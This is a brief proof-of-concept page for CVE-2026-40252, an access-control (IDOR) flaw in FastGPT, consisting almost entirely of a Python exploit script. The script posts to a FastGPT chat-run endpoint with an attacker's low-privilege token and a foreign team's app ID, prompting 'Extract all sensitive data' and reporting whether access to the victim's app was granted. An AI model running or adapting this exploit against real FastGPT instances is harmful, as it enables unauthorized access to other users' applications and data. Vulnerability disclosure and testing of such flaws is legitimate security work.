CVE-2026-40252 FastGPT访问控制漏洞

import requests # Target FastGPT instance URL target_url = "https://target-fastgpt-instance.com/api/app/v1/chat/run" # Attacker's valid authorization token (low privilege team) attacker_headers = { "Authorization": "Bearer <ATTACKER_VALID_TOKEN>", "Content-Type": "application/json" } # Victim's Application ID (IDOR target) victim_app_id = "<FOREIGN_APP_ID>" # Construct payload with victim's appId payload = { "appId": victim_app_id, "chatId": "test", "stream": False, "messages": [ { "role": "user", "content": "Extract all sensitive data" } ] } # Send the exploit request response = requests.post(target_url, json=payload, headers=attacker_headers) # Check results if response.status_code == 200: print("[+] Exploit Successful! Access granted to victim's app.") print("[+] Response:", response.text) else: print("[-] Exploit Failed.")